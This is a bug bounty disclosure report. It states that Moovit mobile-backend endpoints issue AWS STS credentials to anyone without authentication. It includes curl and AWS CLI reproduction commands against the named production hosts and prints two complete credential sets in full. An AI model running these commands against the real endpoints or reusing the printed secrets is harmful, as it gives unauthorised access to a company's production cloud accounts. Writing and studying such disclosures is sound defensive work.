

Unauthenticated AWS STS Credential Issuance from Moovit Mobile Backend Endpoints

Bug bounty report - Moovit (Bugcrowd moovit-mbb-og)

Summary Two production Moovit mobile-backend hosts, plus two development-hostname variants, return complete AWS STS temporary credential sets to any unauthenticated HTTP client. No account, cookie, API key, request signature, or mobile-app attestation is required. The credentials were validated using sts:GetCallerIdentity only and mapped to AWS production accounts. CloudFront caching was also observed on the anonymousstream endpoint, so unrelated callers can receive the same issued credential set during the cache window.	
Program	Moovit - Bugcrowd moovit-mbb-og (paid, mobile app backend scope)
Validation	Confirmed live 2026-09-16; re-verified 2026-09-18
Authentication required	None
Demonstrated impact	Unauthenticated issuance of valid production AWS STS role sessions; no application/resource data was accessed

1. Affected endpoints

Endpoint	Type	Issued role	AWS account
anonymousstream.moovitapp.com	Prod	AnonymousStream-prod	908027400693
tvm.moovitapp.com	Prod	TVM	254431071183
anonymousstream-dev.moovitapp.com	Dev host	AnonymousStream-qa	908027400693
tvm-dev.moovitapp.com	Dev host	TVM-dev	254431071183

Scope note: the hostnames are present in the mobile app backend strings, and the endpoints require no Moovit account or session.

2. Reproduction

1. Request credentials from either production endpoint:

```
curl -sS https://anonymousstream.moovitapp.com/  
curl -sS https://tvm.moovitapp.com/
```

2. Observe an HTTP 200 JSON response containing the complete STS credential set. The complete response captures are reproduced in Section 6 (Evidence).

```
Fields returned: AccessKeyId, SecretAccessKey, SessionToken, Expiration
```

3. Validate only the identity of the returned session without manually copying or masking any returned values:

```
creds=$(curl -sS https://anonymousstream.moovitapp.com/)  
export AWS_ACCESS_KEY_ID=$(printf '%s' "$creds" | jq -r .AccessKeyId)  
export AWS_SECRET_ACCESS_KEY=$(printf '%s' "$creds" | jq -r .SecretAccessKey)  
export AWS_SESSION_TOKEN=$(printf '%s' "$creds" | jq -r .SessionToken)  
aws sts get-caller-identity
```

3. Validation result

The returned credentials successfully authenticated to AWS STS and resolved to the following production identities:

```
arn:aws:sts::908027400693:assumed-role/AnonymousStream-prod/tvm
```

```
arn:aws:sts::254431071183:assumed-role/TVM/tvm
```

Safety boundary: no resource contents were accessed. Generic enumeration checks (list_buckets, list_streams, list_delivery_streams, list_queues) returned AccessDenied.

4. Security impact

Public AWS role access: Any internet client can obtain short-lived credentials that carry the permissions of the issued IAM roles until expiration.

Production-account exposure: Both verified sessions resolve to production AWS account IDs, so the reachable trust boundary is a production IAM role rather than a local test credential.

Credential sharing through CDN caching: The anonymousstream response included cache-control: max-age=300, s-maxage=60 and an observed CloudFront cache hit. Unrelated clients within the cache window can receive the same credential set.

Environment separation concern: The -dev endpoints also issue sessions in the same production AWS accounts, including a role named AnonymousStream-qa on the anonymousstream-dev host.

5. Expected vs. actual

Expected	Credential issuance should be restricted to an authenticated or otherwise trusted client identity and credential responses should never be shared through a public CDN cache.
Actual	A plain unauthenticated GET from any internet client returns a complete STS credential set. The anonymousstream response can also be served from CloudFront cache.

6. Evidence

Fresh browser captures from 2026-09-18 and the original 2026-09-16 test show the endpoint returning the complete STS credential response. The evidence below is reproduced exactly as captured, with AccessKeyId, SecretAccessKey, SessionToken, and Expiration values visible.

Pretty-print ☐

```
{
  "AccessKeyId": "ASIA562VGS2H2Q4Z0R3MH",
  "SecretAccessKey": "/NeQn1b33/0U3QHJG2deCTUHhobDedUD0KUS0MmX",
  "SessionToken": "IQoJb3JpZ2luX2VjEEMacWV1LXdlc3QtMSJGMEQCIAPa/RChgtLhKJUaIP1J1Sjt3YcQ63D4rfvOepWmZbzA1BvJ2C1v1jYtk04MEHXn4sNLczswvq1NcOpF3mF8bb8r1qQAggMEAAADk0DAyNzQwMDY5MyIMostfYKUHdVqXE/HTKu0BvqW7TYW9JtvcqFY5w/J4eq4DWMkA7uenpeABBBfLoyt7d0qIZb6Z/qv7ADHkG6bD8fGfaF7E4F6rz44hwQBFxdWHI64Gw91atG9zMKJoSnm6v41Vb12x0d65RkzNpcCSv8q3WGH98prJzdA0WwWf6X1rFEJgIIHMTCHMG3YH0zkFRRqsNB1t1yb/gXQa9FzXqrA79r330wdxYcm/T6r0b9Ch0nnRvVdb76tsnpLxHnfBeBGIVn6PQxrrjB08IOswRCLFc1RucykZhlVFSU5EW1RKNHzIM7vzPP8GPeuvNur6HY6ottYUsUYHlgj1rMPaDqNUG0p4BbTt3C30XusIYuTjM9KzsgHmBXyc//fa5nugz1bminBNiou5fBvUEVRseKxYU1Z7i6QyTCgsmTJkd7K0d8fpXPufJN6E8DNsX55D0p1MBxqdNW57BDYrX61PL0eJRWZKDGAmnN5HPAetYr1LH7LW+5RcfB00Edj6XQbRH2BmHZUSHj83IH1Zx03E6LhMst+q7CV09trhJcgRUd1L1UEuc=",
  "Expiration": "2026-09-16T08:41:58+00:00"
}
```

Evidence 1: complete credential response capture.

Pretty-print ☐

```
{
  "AccessKeyId": "ASIA562VGS2H2NYIXTL2",
  "SecretAccessKey": "jT07s1EDMDZTWY1vcamumfoHIUuy95RtxffB0iop",
  "SessionToken": "IQoJb3JpZ2luX2VjEEMacWV1LXdlc3QtMSJGMEQCIbH187J55qa5SW3wt7UE2AdkfH0mTcyd0R3GTLVhht4A1B/vQULs8KUNls6JZ9RbtUx/SI905PUIE1gKkp0qLvyfCqQAggBEAAADk0DAyNzQwMDY5MyIMmJUXL/P/INHtZPb5KuoB0wcrQxJ7I6b5BNZuv41CubICwFhbYfc37CLHXB6RJAu0Q4KsB580uI5F1C36918CSzQbz+4a4TKyzHzTeoLC5tXGgYaJbysTdZ3eawp10W0pY50jy3BEtaywhj+7UKb2GEHJ5BYSmAZsmfGhQ1eLL1DkUVALmtpuJxHKy0BCGHaJozENrjXZY0AuFwY0vDbj1jc3uU09F0bE9gr1QdS89j8Qs+R0ncbT4TFpYX1Y+QXUvZ2JKRBUQ4Ys5eMkNxa6bvg3Cd5WU2R3JfHmHmcKmm2D0gcixQhMfj0LF7wF1ZICj3UvTKc7tMSj5ToMKFVs9UG0p4BbWXd61IhLE600aH1QL5PbQpud+hlu+M8BYdTAReb7wIg/OUq3Jh10Qx7ZjDfQXwnK6GG88x+K619K6NeWKTDbcx/uPqMPTxt0PySANWHkzXgrjYXmTe9kcNln215/ZEdWjosWAFa7SmA1AAWm1JCafMstoc+G41B21QwL6o/R84sP7LvUz3D0m/kUCoxan5Znu9NeZZDexYANE=",
  "Expiration": "2026-09-18T08:39:19+00:00"
}
```

Evidence 2: complete credential response capture.

7. Recommended remediation

1. Stop anonymous credential issuance

Require server-side authentication and authorization before returning AWS credentials. If the endpoint is intended only for the official mobile app, use app/device attestation as an additional control rather than the sole trust signal.

2. Disable CDN caching for credential responses

Return Cache-Control: no-store and configure the CloudFront behavior not to cache credential-vending paths. Invalidate any existing cached credential responses.

3. Reduce and bind IAM permissions

Review the issued roles and their trust/permission policies. Keep permissions to the minimum needed and bind credential issuance to a specific authenticated consumer identity or backend exchange.

4. Add abuse controls and telemetry

Apply per-client issuance limits, rate limiting, and monitoring for unusual credential issuance or downstream STS usage. Alert on high-volume anonymous requests.

5. Review environment separation

Confirm that development/QA endpoints cannot issue credentials into production AWS accounts unless this is strictly required and access-controlled.

8. Triage notes

Impact boundary: the issue is confirmed credential exposure and anonymous production-role session issuance. This report intentionally does not claim access to application data or additional AWS resources because those permissions were not demonstrated.

Suggested report title for Bugcrowd: Unauthenticated AWS STS credentials exposed by Moovit mobile backend endpoints